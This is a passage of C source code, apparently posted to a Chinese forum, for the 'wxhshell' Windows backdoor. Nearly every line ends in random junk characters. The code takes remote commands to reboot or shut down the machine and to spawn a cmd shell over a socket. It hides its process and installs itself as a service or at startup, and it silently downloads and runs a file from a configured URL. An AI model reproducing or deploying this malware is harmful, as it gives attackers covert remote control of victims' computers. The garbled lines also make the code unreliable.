  else { *SU\ABcov  
U`R5'Tf;  
    switch(cmd[0]) { ZZ2vvtlyG  
  `Nz/O h7  
  // 帮助 4r>6G/b8*  
  case '?': { 8ja$g,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7X0Lq}G@  
    break; %HGD;_bhI  
  } =XA;[PVx:#  
  // 安装 _ "?.!  
  case 'i': { %<k2#6K  
    if(Install()) B~]k#Ot)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Aydm2!l1  
    else xSktg]u Se  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wQqb`l7+  
    break; !\zWF  
    } msP{l^%0  
  // 卸载 rID#`:Hl-|  
  case 'r': { EN$2,qf  
    if(Uninstall()) K-bD<X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *W.C7=  
    else [B+yyBtx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JJP08 oP  
    break; 'Y*E<6:  
    } ',Y.v"']4  
  // 显示 wxhshell 所在路径 H5DC[bZMb%  
  case 'p': { Bc+w+  
    char svExeFile[MAX_PATH]; qaY1xPWz"  
    strcpy(svExeFile,"\n\r"); ve MH  
      strcat(svExeFile,ExeFile); "@%7-nu  
        send(wsh,svExeFile,strlen(svExeFile),0); $+P>~X)  
    break; ?oVx2LdD|  
    } M2 ,YsHt  
  // 重启 %-)H^i~]%  
  case 'b': { )2Wi `ZT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7|{}\w(I  
    if(Boot(REBOOT)) ;nep5!s;<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "fG8?)d;  
    else { n!YKz"$  
    closesocket(wsh); hBS.a6u1'd  
    ExitThread(0); -=%@L&y1  
    } QqFR\6  
    break; (\\eo  
    } r[2ILe  
  // 关机 }Ga\wV  
  case 'd': { gRCdY8GH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6g|*`x{  
    if(Boot(SHUTDOWN)) d ^^bke$~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GGNvu )"  
    else { BzkooJ  
    closesocket(wsh);  3L< wQ(  
    ExitThread(0); DnC{YK  
    } E)TN,@%  
    break; 6VS4y-N  
    } 2;z b\d  
  // 获取shell A0o-:n Fu  
  case 's': { SG6kud\b  
    CmdShell(wsh); H<VTa? n  
    closesocket(wsh); _y),J'W^3u  
    ExitThread(0); tz5e"+Tz  
    break; W=j[V Oq  
  } Lhl]g^SN  
  // 退出 BUWqI dg  
  case 'x': { 0+?7EL~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h}*/Ge]aM  
    CloseIt(wsh); /j4P9y^]=  
    break; ".W8)  
    } <vUbv   
  // 离开 kw#;w=\>R{  
  case 'q': { D>HOn^   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y+X2Pl  
    closesocket(wsh); M.x=<:upp  
    WSACleanup(); gnFr}L&j  
    exit(1); C9~52+S  
    break; ",^Mxm{  
        } kqM045W7  
  } ]Y%Vio  
  } +b.g$CRr  
T^Y([23  
  // 提示信息 [h^2Y&Au5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mR&H9 NG  
} c#|raXGT  
  } nH`Q#ZFz]?  
{t0) q  
  return; =7w\ 7-.m  
} 9Xj7~,  
19HM])Zw\  
// shell模块句柄 f({Ei`|  
int CmdShell(SOCKET sock) {{B%f.   
{ ix([mQg  
STARTUPINFO si; q#T/  
ZeroMemory(&si,sizeof(si)); 01}C^iD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q~OxH'>>(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qCljo5Tq'  
PROCESS_INFORMATION ProcessInfo; U@HK+C"M|  
char cmdline[]="cmd"; G`n_YH084  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <L"GqNuRQ  
  return 0; !D@ZYK;  
} i&5XF  
H=g`hF]`  
// 自身启动模式 spdvZU=}  
int StartFromService(void) qT%FmX  
{ &^#VN%{  
typedef struct -&3hEv5  
{ gLE:g5v6  
  DWORD ExitStatus; *QwY]j%^  
  DWORD PebBaseAddress; eCqHvMp  
  DWORD AffinityMask; s!?`T1L  
  DWORD BasePriority; luo   
  ULONG UniqueProcessId; r~/   
  ULONG InheritedFromUniqueProcessId; S<VSn}vn  
}   PROCESS_BASIC_INFORMATION; gu0j.XS^  
=h0,?]z  
PROCNTQSIP NtQueryInformationProcess; `+o 2DA)#(  
)Qe~ 8u@?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;nodjbr,j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tKuVQH~D  
yKa{08X:  
  HANDLE             hProcess; 4Uphfzv3D  
  PROCESS_BASIC_INFORMATION pbi; o=50>$5jlS  
P!H_1RwXKC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *1v[kWa?  
  if(NULL == hInst ) return 0; q=%RDG+  
9;r)#3Q[^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hEBY8=gK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]^lw*724'>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }% `.h"  
PmKeF}  
  if (!NtQueryInformationProcess) return 0; %>~sJ0  
4kBaB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2 lj'"nm  
  if(!hProcess) return 0; MRb-H1+Xf  
OR%'K2C6S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <,[cQ I/  
J%x\=Sv  
  CloseHandle(hProcess); BQ=PW|[  
g;2?F[8Th  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -o!$tI&  
if(hProcess==NULL) return 0; N'^&\@)xiU  
M}yDXJx  
HMODULE hMod; r[4tPk  
char procName[255]; swM*k;$q{  
unsigned long cbNeeded; 9QDFEYG  
Xs~[&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n?- })  
$, ,op(  
  CloseHandle(hProcess); v6>_ j L  
\QYFAa  
if(strstr(procName,"services")) return 1; // 以服务启动 -Z 4e.ay5  
$npT[~U5  
  return 0; // 注册表启动 Dp)=0<$y  
} !HnXXVW  
nQ5n-A&["  
// 主模块 A-ZN F4  
int StartWxhshell(LPSTR lpCmdLine) 7UdM  
{ n/+.s(7c  
  SOCKET wsl; mj9 <%P  
BOOL val=TRUE; +VO-oFE|  
  int port=0; L&u$t}~)  
  struct sockaddr_in door; @cFJeOC|  
czS+< w  
  if(wscfg.ws_autoins) Install(); S7/eS)SQR  
uTKD 4yig  
port=atoi(lpCmdLine); 2QJ{a46}  
_*1`@  
if(port<=0) port=wscfg.ws_port; u*Pibgd<  
M<kj_.  
  WSADATA data; B56L1^ 7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !,6c ~ w  
~N<4L>y<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z([ v%zf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7f0lQ  
  door.sin_family = AF_INET; K`u(/kz/<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `HZ;NRr  
  door.sin_port = htons(port); |}(`kW  
FaDjLo2'o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mP0yk|  
closesocket(wsl); m^ tFi7c  
return 1; y:~ZLTAv  
} C|}iCB  
-"=U?>(  
  if(listen(wsl,2) == INVALID_SOCKET) { Exc9` 7%.  
closesocket(wsl); }]lr>"~y}  
return 1; L"o>wYx  
} kXi6lh  
  Wxhshell(wsl); *>n;SuT_  
  WSACleanup(); {>DE sO  
qz0;p=$8Z  
return 0; Y]/% t{Y  
, udTvI  
} }bdmomV  
W-?()dX{  
// 以NT服务方式启动 E5I"%9X0H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7 "20hAd  
{ a&c6.#E{y  
DWORD   status = 0; 4 QvsBpz@  
  DWORD   specificError = 0xfffffff; eU".3`CtY  
c'%-jG)\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s$Z _48  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l49*<nkmq  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .Le?T&_  
  serviceStatus.dwWin32ExitCode     = 0; GP?M!C,/}k  
  serviceStatus.dwServiceSpecificExitCode = 0; DU5c=rxW  
  serviceStatus.dwCheckPoint       = 0; [AYOYENp-  
  serviceStatus.dwWaitHint       = 0; k1{K*O$e  
wt!nMQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /s@oZ{h  
  if (hServiceStatusHandle==0) return; VyzS^AH K  
e4HA7=z  
status = GetLastError(); ew#B [[  
  if (status!=NO_ERROR) xv(9IEjt0  
{ Y2n!>[[.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; BK)$'AqO  
    serviceStatus.dwCheckPoint       = 0; g;qx">xJ`o  
    serviceStatus.dwWaitHint       = 0; YQHw1  
    serviceStatus.dwWin32ExitCode     = status; }<@b=_>S  
    serviceStatus.dwServiceSpecificExitCode = specificError; WD]p U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oSy yd  
    return; YwDbPX  
  } V^3L3|k  
6kpg+{;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K{|p~B  
  serviceStatus.dwCheckPoint       = 0; 2R;}y7{  
  serviceStatus.dwWaitHint       = 0; @D{KdyW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PsnWWj?c  
} @k,z:~[C=  
/Z~<CbKKl  
// 处理NT服务事件,比如:启动、停止 wy0tgy(' |  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8$6Y{$&C  
{ V@zg}C|e  
switch(fdwControl) i BF|&h(\  
{ %?}33yV  
case SERVICE_CONTROL_STOP: i~I%D%;  
  serviceStatus.dwWin32ExitCode = 0; 2NC.Z;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; bCo7*<I4  
  serviceStatus.dwCheckPoint   = 0; L ^q""[  
  serviceStatus.dwWaitHint     = 0; w80oXXs[#  
  { r^FhTzA=1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '*5i)^  
  } _F>CBG  
  return; \fG#7_wt  
case SERVICE_CONTROL_PAUSE: =]6%G7T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +x0!*3q  
  break; L^}_~PO N5  
case SERVICE_CONTROL_CONTINUE: iII=;:p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )wC?T  
  break; }&cu/o4  
case SERVICE_CONTROL_INTERROGATE: (gP)%  
  break; ^ DaBz\  
}; ^hc!FD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OGK}EI  
} ,]9P{k]O  
>/l? g5{  
// 标准应用程序主函数 i,>khc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hIy~B['  
{ B"h#C!E  
@ [:ZS+1  
// 获取操作系统版本 jrr EAp  
OsIsNt=GetOsVer(); W>) M5t4i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K^1oDP  
5gYRwuf  
  // 从命令行安装 &e E=<x  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0z1ifg&  
U' H$`$Ov  
  // 下载执行文件 U{2BVqM  
if(wscfg.ws_downexe) { J!c)s!`w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $xzAv{  
  WinExec(wscfg.ws_filenam,SW_HIDE); #.rdQ,)<  
} B<5R   
X{5vXT\/y  
if(!OsIsNt) { S\:P-&dC  
// 如果时win9x,隐藏进程并且设置为注册表启动 ZP@ $Q%up  
HideProc(); >0/i[k-dk  
StartWxhshell(lpCmdLine); q!.byrod  
} ) i;1*jK  
else ~IYUuWF(  
  if(StartFromService()) - Ajo9H  
  // 以服务方式启动 ] eotc2?u  
  StartServiceCtrlDispatcher(DispatchTable); jyZ  (RB  
else Q-_N2W ?  
  // 普通方式启动 CAfGH!l!  
  StartWxhshell(lpCmdLine); ((H^2KJn  
kZR8a(4D  
return 0; zd2)M@  
}
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只看该作者 1 发表于: 2006-10-10
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